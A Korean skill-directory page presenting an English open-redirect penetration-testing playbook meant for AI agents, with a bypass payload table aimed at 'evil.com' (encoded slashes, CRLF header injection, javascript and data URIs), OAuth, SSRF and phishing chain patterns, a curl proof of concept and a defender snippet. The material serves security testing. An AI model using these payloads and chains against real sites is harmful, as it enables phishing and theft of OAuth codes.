본문으로 건너뛰기
Skillpedia
보안6.5k · #14074

open-redirect

하는 일

이 스킬은 방문자를 외부 사이트로 보내는 리다이렉트 파라미터를 찾는 방법을 에이전트에게 가르칩니다. 로그인, 로그아웃, 돌아가기 링크를 점검하는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓사이트 링크에 next, return, redirect 같은 파라미터가 있고 이를 테스트하려는 경우.
  • ✓OAuth나 로그인 흐름이 URL에서 가져온 돌아갈 주소로 사용자를 보낼 때.
  • ✓인코딩이나 여러 기법으로 리다이렉트 필터를 우회할 수 있는지 확인하고 싶을 때.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“제 사이트의 로그인 페이지가 로그인 후 사용자를 외부 웹사이트로 보낼 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 이중 슬래시, 인코딩된 문자, 비슷하게 생긴 도메인 같은 여러 주소 형식을 시도하고, 서버가 방문자를 새 주소로 보내는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Open Redirect Playbook

Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).

1. Common parameters

?next=...  ?return=...  ?continue=...  ?redirect=...  ?url=...  ?to=...
?goto=...  ?destination=...  ?back=...  ?returnTo=...  ?callbackUrl=...
?image_url=...  ?file=...  ?logout_redirect=...  ?success=...

Grep recon URLs / JS for these params.

2. Bypass table

Technique Payload
Direct https://evil.com
Protocol-relative //evil.com
Triple-slash ///evil.com
Backslash \\evil.com or /\\evil.com
Encoded slash %2f%2fevil.com
Mixed encoded /%5cevil.com
Userinfo https://target.com@evil.com
Whitelist confusion https://target.com.evil.com (subdomain ends w/ allowed)
Path-traversal in fragment target.com/?redirect=evil.com#@target.com
Data URI data:text/html,<script>location='https://evil.com'</script>
Javascript URI javascript:alert(1) (for XSS upgrade)
CRLF injection redirect=evil.com%0d%0aSet-Cookie:...
Punycode https://xn--80ak6aa92e.com (looks like apple.com)
Mixed-case scheme HTTPS://evil.com
Whitespace prefix %09//evil.com, %20//evil.com
URL-encoded null evil.com%00.target.com
Multiple slashes //////evil.com

3. Chain patterns

3.1 OAuth redirect_uri extension

Target's OAuth flow validates redirect_uri must be on *.target.com. You have open-redirect at target.com/redir?to=.... Attacker:

redirect_uri=https://target.com/redir?to=https://evil.com/cb

OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.

3.2 SSRF extension

Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).

3.3 Phishing

Send phishing email from attacker domain → click → lands on target.com/login?next=https://evil-attacker.com/fake-login. After "login" page redirects to attacker — but URL bar shows target.com for the first second, building trust.

3.4 Tabnabbing

window.open(URL) w/o noopener,noreferrer → opened tab can navigate the OPENER (original target tab) to phishing page. Combined w/ open redirect = full visual takeover of the original target.

4. Tools

  • OpenRedireX — fuzz w/ massive payload list
  • Burp Intruder w/ payloads from _corpus/payloads/Open Redirect/
  • gf (Tomnomnom) patterns to extract redirect params from URLs

5. PoC

curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
# Look for: Location: https://evil.com  → confirmed open redirect

6. Severity

Scenario Typical
Standalone open redirect, no chain Low 3-4 / Informational
Chained w/ OAuth → ATO Critical 9.0
Chained w/ SSRF bypass → metadata extraction Critical 9.0
Tabnabbing on high-trust target Medium 5-6
Phishing-only (no ATO chain) Low-Medium

7. Defender

from urllib.parse import urlparse

def safe_redirect(url, allowed_hosts={'target.com'}):
    p = urlparse(url)
    if not p.netloc:        # relative path only
        return url if url.startswith('/') and not url.startswith('//') else '/'
    if p.netloc in allowed_hosts:
        return url
    return '/'

# At redirect site:
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer'   # in HTML <a>

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Open Redirect/
  • OAuth chain extension: skills/exploit/web/oauth/SKILL.md
  • SSRF chain extension: skills/exploit/web/ssrf.md
자주 묻는 질문

오픈 리다이렉트는 그 자체로 심각한가요?

이 스킬은 단독으로는 보통 낮거나 정보성 수준이라고 말하지만, 로그인이나 OAuth 결함과 연결되면 심각해질 수 있다고 설명합니다.

어떤 파라미터 이름을 찾나요?

next, return, redirect, url, to, callbackUrl 같은 이름을 찾습니다.

javascript 링크도 다루나요?

네. javascript URL을 XSS 관점에서 다루는 것으로 언급합니다.

상세 정보

작성자의 원본 설명

Open redirect + tabnabbing — URL filter bypass, OAuth chain extension, phishing infrastructure-free, SSRF chain.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14074
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬